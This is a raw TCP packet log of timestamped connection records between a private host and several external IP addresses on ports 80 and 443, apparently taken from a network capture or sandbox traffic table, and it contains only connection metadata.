Apr 24, 2024 12:07:09.477165937 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477183104 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477204084 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477215052 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477225065 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477257013 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477281094 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477319956 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477353096 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477389097 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477406979 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477440119 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477458000 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477494001 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477591991 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477608919 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477627993 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477643967 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477690935 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477731943 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477780104 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477802992 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477845907 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.477859974 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480005026 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480050087 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480070114 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480110884 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480123997 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480442047 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480480909 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480499029 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480519056 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480531931 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480540037 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480556011 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480576992 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480587959 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480597019 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480612040 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480623960 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480640888 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480659008 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480673075 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480680943 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480698109 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.480715036 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.480725050 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483031034 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483083963 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483184099 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483228922 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483294964 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483339071 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483374119 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483412027 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483421087 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483439922 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483470917 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483484030 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483552933 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483571053 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483591080 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483606100 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483639002 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483654976 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483680964 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483694077 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483721972 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483762026 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.483779907 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.483819008 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.485253096 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.485294104 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.485311985 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.485347033 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.485368013 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.485409021 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.485426903 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.485459089 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.485476017 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.485517979 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.485533953 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.697793961 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:10.032572985 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:10.032727003 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:10.036094904 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:10.036109924 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:10.036370993 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:10.036427021 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:10.054404020 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:10.100112915 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:10.739546061 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:10.739660978 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:10.739675999 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:10.739795923 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:11.016726971 CEST	49713	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:11.016777992 CEST	443	49713	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:11.029411077 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:11.029459000 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:11.029522896 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:11.029938936 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:11.029951096 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:11.676840067 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:11.676923037 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:12.659373999 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:12.659415960 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:12.671322107 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:12.671344995 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:13.675292015 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:13.675350904 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.675371885 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:13.675390005 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:13.675409079 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.675427914 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.721549988 CEST	49714	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.721594095 CEST	443	49714	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:13.924684048 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:13.924732924 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:13.924793959 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:13.948395014 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:13.948420048 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:13.963398933 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.963438034 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:13.963495970 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.963737011 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:13.963748932 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:14.278336048 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:14.278410912 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:14.298708916 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:14.298723936 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:14.299120903 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:14.300556898 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:14.305967093 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:14.352113008 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:14.617054939 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:14.617142916 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:14.622286081 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:14.622293949 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:14.624579906 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:14.624583960 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.097067118 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:15.097121954 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:15.097127914 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:15.097220898 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:15.097223997 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:15.097246885 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:15.097316980 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:15.097316980 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:15.098702908 CEST	49715	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:15.098716974 CEST	443	49715	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:15.665097952 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.665126085 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.665158987 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.665185928 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.665199041 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.665199995 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.665241003 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.666054964 CEST	49716	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.666069984 CEST	443	49716	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.734261036 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.734344006 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:15.734538078 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.736623049 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:15.736679077 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:16.391889095 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:16.392030954 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:16.408833981 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:16.408852100 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:16.411323071 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:16.411330938 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.446197033 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.446237087 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.446255922 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.446290970 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.446307898 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.446310043 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.446338892 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.446353912 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.477971077 CEST	49719	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.478012085 CEST	443	49719	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.705722094 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.705773115 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:17.705930948 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.706274033 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:17.706290960 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:18.352883101 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:18.353040934 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:18.366509914 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:18.366538048 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:18.377628088 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:18.377643108 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:18.377702951 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:18.377724886 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.053875923 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.053915024 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.053972960 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.054925919 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.054959059 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.458230019 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.458312035 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.458327055 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.458395958 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.462199926 CEST	49725	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.462240934 CEST	443	49725	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.708827972 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.708887100 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.713535070 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.713550091 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:19.726300955 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:19.726313114 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.735903978 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.735935926 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.735950947 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.735970020 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:20.735997915 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:20.736011028 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.736027956 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:20.736061096 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:20.884350061 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.884378910 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.884422064 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:20.884437084 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:20.884484053 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:20.884484053 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.107620955 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.107635975 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.107681990 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.107692003 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.107709885 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.107732058 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.107742071 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.252335072 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.252358913 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.252417088 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.252438068 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.252463102 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.252481937 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.368182898 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.368205070 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.368261099 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.368273973 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.368304014 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.368324041 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.445810080 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.445832968 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.445918083 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.445930958 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.445979118 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.502983093 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.503001928 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.503050089 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.503058910 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.503089905 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.503103018 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.574726105 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.574747086 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.574798107 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.574805975 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.574857950 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.639134884 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.639153957 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.639209986 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.639218092 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.639283895 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.694746017 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.694765091 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.694829941 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.694839001 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.694999933 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.744604111 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.744626045 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.744671106 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.744694948 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.744712114 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.744729996 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.787252903 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.787275076 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.787353992 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.787378073 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.787480116 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.823270082 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.823285103 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.823365927 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.823390007 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.823611021 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.853935957 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.853950024 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.854022980 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.854031086 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.854099989 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.884736061 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.884749889 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.884921074 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.884928942 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.885337114 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.911762953 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.911782980 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.911844969 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.911854982 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.911891937 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.911911964 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.941514969 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.941529989 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.941633940 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.941641092 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.941695929 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.967751980 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.967771053 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.967822075 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.967833996 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.967863083 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.967875957 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.991055965 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.991081953 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.991142988 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:21.991147995 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:21.991204977 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.015531063 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.015544891 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.015631914 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.015638113 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.015680075 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.036782026 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.036798954 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.036897898 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.036919117 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.037360907 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.062319040 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.062326908 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.062419891 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.062427044 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.062859058 CEST	49726	443	192.168.2.5	95.217.9.149
